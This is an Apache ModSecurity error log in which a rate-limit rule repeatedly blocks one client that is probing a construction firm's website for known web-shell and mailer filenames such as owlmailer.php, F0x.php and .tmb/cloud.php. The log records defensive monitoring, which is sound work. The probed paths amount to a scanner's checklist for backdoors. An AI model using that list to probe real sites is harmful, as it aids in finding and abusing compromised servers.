[Mon Apr 13 03:21:42.697282 2026] [:error] [pid 54671:tid 54692] [client 20.151.218.28:31546] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/docs.php"] [unique_id "advwxmyJMmaONUqF0tCyWgAAARE"]
[Mon Apr 13 03:21:43.108818 2026] [:error] [pid 54671:tid 54678] [client 20.151.218.28:31730] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/docs.php"] [unique_id "advwx2yJMmaONUqF0tCyYAAAAQM"]
[Mon Apr 13 03:21:43.518096 2026] [:error] [pid 54671:tid 54697] [client 20.151.218.28:31526] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/cache.php"] [unique_id "advwx2yJMmaONUqF0tCyZQAAARY"]
[Mon Apr 13 03:21:43.929034 2026] [:error] [pid 54671:tid 54675] [client 20.151.218.28:31490] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/cache.php"] [unique_id "advwx2yJMmaONUqF0tCyZwAAAQA"]
[Mon Apr 13 03:21:44.339187 2026] [:error] [pid 54671:tid 54680] [client 20.151.218.28:31428] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/cache.php"] [unique_id "advwyGyJMmaONUqF0tCyaAAAAQU"]
[Mon Apr 13 03:21:44.749982 2026] [:error] [pid 54671:tid 54687] [client 20.151.218.28:31600] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/cache.php"] [unique_id "advwyGyJMmaONUqF0tCyagAAAQw"]
[Mon Apr 13 03:21:45.162995 2026] [:error] [pid 54671:tid 54695] [client 20.151.218.28:31664] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gaza.php"] [unique_id "advwyWyJMmaONUqF0tCybgAAARQ"]
[Mon Apr 13 03:21:45.574652 2026] [:error] [pid 54671:tid 54682] [client 20.151.218.28:31534] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gaza.php"] [unique_id "advwyWyJMmaONUqF0tCycAAAAQc"]
[Mon Apr 13 03:21:45.986474 2026] [:error] [pid 54671:tid 54678] [client 20.151.218.28:31539] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gaza.php"] [unique_id "advwyWyJMmaONUqF0tCycgAAAQM"]
[Mon Apr 13 03:21:46.397961 2026] [:error] [pid 54671:tid 54693] [client 20.151.218.28:31559] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gaza.php"] [unique_id "advwymyJMmaONUqF0tCydAAAARI"]
[Mon Apr 13 03:21:46.813739 2026] [:error] [pid 32010:tid 32025] [client 20.151.218.28:31588] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/XX.php"] [unique_id "advwyg0nq-t9pXyV1fzDXQAAAM0"]
[Mon Apr 13 03:21:47.224576 2026] [:error] [pid 54671:tid 54686] [client 20.151.218.28:31457] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/XX.php"] [unique_id "advwy2yJMmaONUqF0tCyegAAAQs"]
[Mon Apr 13 03:21:47.636884 2026] [:error] [pid 31606:tid 31715] [client 20.151.218.28:31584] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/XX.php"] [unique_id "advwyz9vCsshNhLmCiCQ4QAAAEk"]
[Mon Apr 13 03:21:48.048657 2026] [:error] [pid 54671:tid 54682] [client 20.151.218.28:31366] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/XX.php"] [unique_id "advwzGyJMmaONUqF0tCyfAAAAQc"]
[Mon Apr 13 03:21:48.459337 2026] [:error] [pid 54671:tid 54697] [client 20.151.218.28:31611] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fm.php/sts.php"] [unique_id "advwzGyJMmaONUqF0tCygAAAARY"]
[Mon Apr 13 03:21:48.876183 2026] [:error] [pid 32010:tid 32035] [client 20.151.218.28:31515] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fm.php/sts.php"] [unique_id "advwzA0nq-t9pXyV1fzDYAAAANc"]
[Mon Apr 13 03:21:49.286489 2026] [:error] [pid 54671:tid 54692] [client 20.151.218.28:31537] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fm.php/sts.php"] [unique_id "advwzWyJMmaONUqF0tCyhQAAARE"]
[Mon Apr 13 03:21:49.696194 2026] [:error] [pid 32010:tid 32030] [client 20.151.218.28:31438] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fm.php/sts.php"] [unique_id "advwzQ0nq-t9pXyV1fzDYQAAANI"]
[Mon Apr 13 03:21:50.106137 2026] [:error] [pid 54671:tid 54697] [client 20.151.218.28:31576] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/cloud.php"] [unique_id "advwzmyJMmaONUqF0tCyjAAAARY"]
[Mon Apr 13 03:21:50.515845 2026] [:error] [pid 54671:tid 54689] [client 20.151.218.28:31483] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/cloud.php"] [unique_id "advwzmyJMmaONUqF0tCykAAAAQ4"]
[Mon Apr 13 03:21:50.924828 2026] [:error] [pid 54671:tid 54699] [client 20.151.218.28:31582] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/cloud.php"] [unique_id "advwzmyJMmaONUqF0tCylQAAARg"]
[Mon Apr 13 03:21:51.334816 2026] [:error] [pid 54671:tid 54695] [client 20.151.218.28:31504] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/cloud.php"] [unique_id "advwz2yJMmaONUqF0tCylgAAARQ"]
[Mon Apr 13 03:21:51.743838 2026] [:error] [pid 54671:tid 54686] [client 20.151.218.28:31384] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/owlmailer.php"] [unique_id "advwz2yJMmaONUqF0tCymAAAAQs"]
[Mon Apr 13 03:21:52.155335 2026] [:error] [pid 31606:tid 31719] [client 20.151.218.28:31521] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/owlmailer.php"] [unique_id "advw0D9vCsshNhLmCiCQ6gAAAE0"]
[Mon Apr 13 03:21:52.581715 2026] [:error] [pid 31606:tid 31714] [client 20.151.218.28:31543] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/owlmailer.php"] [unique_id "advw0D9vCsshNhLmCiCQ7AAAAEg"]
[Mon Apr 13 03:21:53.011866 2026] [:error] [pid 54671:tid 54681] [client 20.151.218.28:31530] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/owlmailer.php"] [unique_id "advw0WyJMmaONUqF0tCyngAAAQY"]
[Mon Apr 13 03:21:53.533934 2026] [:error] [pid 32010:tid 32014] [client 20.151.218.28:31462] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/F0x.php"] [unique_id "advw0Q0nq-t9pXyV1fzDZgAAAMI"]
[Mon Apr 13 03:21:54.101916 2026] [:error] [pid 32010:tid 32034] [client 20.151.218.28:31484] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/F0x.php"] [unique_id "advw0g0nq-t9pXyV1fzDaAAAANY"]
[Mon Apr 13 03:21:54.952279 2026] [:error] [pid 32010:tid 32013] [client 20.151.218.28:31506] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/F0x.php"] [unique_id "advw0g0nq-t9pXyV1fzDawAAAME"]
[Mon Apr 13 03:21:55.362871 2026] [:error] [pid 31605:tid 31657] [client 20.151.218.28:31586] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/F0x.php"] [unique_id "advw029Py-Y-9VQ02eHiowAAAA4"]
[Mon Apr 13 03:21:55.772716 2026] [:error] [pid 54671:tid 54683] [client 20.151.218.28:31594] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rlpc.php"] [unique_id "advw02yJMmaONUqF0tCyqAAAAQg"]
[Mon Apr 13 03:21:56.184254 2026] [:error] [pid 32010:tid 32021] [client 20.151.218.28:31733] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rlpc.php"] [unique_id "advw1A0nq-t9pXyV1fzDbwAAAMk"]
[Mon Apr 13 03:21:56.593580 2026] [:error] [pid 54671:tid 54685] [client 20.151.218.28:31424] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rlpc.php"] [unique_id "advw1GyJMmaONUqF0tCyqwAAAQo"]
[Mon Apr 13 03:21:57.003039 2026] [:error] [pid 32010:tid 32019] [client 20.151.218.28:31609] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rlpc.php"] [unique_id "advw1Q0nq-t9pXyV1fzDcQAAAMc"]
[Mon Apr 13 03:21:57.420981 2026] [:error] [pid 32010:tid 32018] [client 20.151.218.28:31517] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-p.php7"] [unique_id "advw1Q0nq-t9pXyV1fzDdAAAAMY"]
[Mon Apr 13 03:21:57.832480 2026] [:error] [pid 32010:tid 32020] [client 20.151.218.28:31512] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-p.php7"] [unique_id "advw1Q0nq-t9pXyV1fzDdgAAAMg"]
[Mon Apr 13 03:21:58.246823 2026] [:error] [pid 32010:tid 32016] [client 20.151.218.28:31527] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-p.php7"] [unique_id "advw1g0nq-t9pXyV1fzDdwAAAMQ"]
[Mon Apr 13 03:21:58.658500 2026] [:error] [pid 31605:tid 31646] [client 20.151.218.28:31601] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-p.php7"] [unique_id "advw1m9Py-Y-9VQ02eHiqwAAAAM"]
[Mon Apr 13 03:21:59.069434 2026] [:error] [pid 31605:tid 31655] [client 20.151.218.28:31590] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sale.php"] [unique_id "advw129Py-Y-9VQ02eHirgAAAAw"]
[Mon Apr 13 03:21:59.485118 2026] [:error] [pid 32010:tid 32034] [client 20.151.218.28:31668] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sale.php"] [unique_id "advw1w0nq-t9pXyV1fzDewAAANY"]
[Mon Apr 13 03:21:59.897008 2026] [:error] [pid 31605:tid 31645] [client 20.151.218.28:31503] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sale.php"] [unique_id "advw129Py-Y-9VQ02eHisAAAAAI"]
[Mon Apr 13 03:22:00.310217 2026] [:error] [pid 31606:tid 31718] [client 20.151.218.28:31493] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sale.php"] [unique_id "advw2D9vCsshNhLmCiCQ-AAAAEw"]
[Mon Apr 13 03:22:00.720436 2026] [:error] [pid 31606:tid 31722] [client 20.151.218.28:31491] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ran.php"] [unique_id "advw2D9vCsshNhLmCiCQ_AAAAFA"]
[Mon Apr 13 03:22:01.141437 2026] [:error] [pid 31605:tid 31658] [client 20.151.218.28:31497] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ran.php"] [unique_id "advw2W9Py-Y-9VQ02eHisgAAAA8"]
[Mon Apr 13 03:22:01.552737 2026] [:error] [pid 54671:tid 54699] [client 20.151.218.28:31468] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ran.php"] [unique_id "advw2WyJMmaONUqF0tCytwAAARg"]
[Mon Apr 13 03:22:01.963339 2026] [:error] [pid 32010:tid 32018] [client 20.151.218.28:31488] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ran.php"] [unique_id "advw2Q0nq-t9pXyV1fzDggAAAMY"]
[Mon Apr 13 03:22:02.373013 2026] [:error] [pid 31607:tid 31754] [client 20.151.218.28:31447] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k90.php"] [unique_id "advw2mjn_I-KYTWngjJRLgAAAJE"]
[Mon Apr 13 03:22:02.783143 2026] [:error] [pid 54671:tid 54686] [client 20.151.218.28:31426] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k90.php"] [unique_id "advw2myJMmaONUqF0tCyuwAAAQs"]
[Mon Apr 13 03:22:03.194417 2026] [:error] [pid 31605:tid 31660] [client 20.151.218.28:31551] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k90.php"] [unique_id "advw229Py-Y-9VQ02eHitQAAABE"]
[Mon Apr 13 03:22:03.605216 2026] [:error] [pid 54671:tid 54697] [client 20.151.218.28:31454] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k90.php"] [unique_id "advw22yJMmaONUqF0tCyvwAAARY"]
[Mon Apr 13 03:22:04.016079 2026] [:error] [pid 54671:tid 54683] [client 20.151.218.28:31615] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/taff.php"] [unique_id "advw3GyJMmaONUqF0tCywQAAAQg"]
[Mon Apr 13 03:22:04.425542 2026] [:error] [pid 31605:tid 31659] [client 20.151.218.28:31518] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/taff.php"] [unique_id "advw3G9Py-Y-9VQ02eHitwAAABA"]
[Mon Apr 13 03:22:04.833791 2026] [:error] [pid 32010:tid 32033] [client 20.151.218.28:31533] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/taff.php"] [unique_id "advw3A0nq-t9pXyV1fzDkAAAANU"]
[Mon Apr 13 03:22:05.243460 2026] [:error] [pid 54671:tid 54682] [client 20.151.218.28:31659] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/taff.php"] [unique_id "advw3WyJMmaONUqF0tCyyAAAAQc"]
[Mon Apr 13 03:22:05.654602 2026] [:error] [pid 31607:tid 31742] [client 20.151.218.28:31434] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/set.php"] [unique_id "advw3Wjn_I-KYTWngjJRMgAAAIU"]
[Mon Apr 13 03:22:06.064318 2026] [:error] [pid 31606:tid 31706] [client 20.151.218.28:31477] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/set.php"] [unique_id "advw3j9vCsshNhLmCiCRBQAAAEA"]
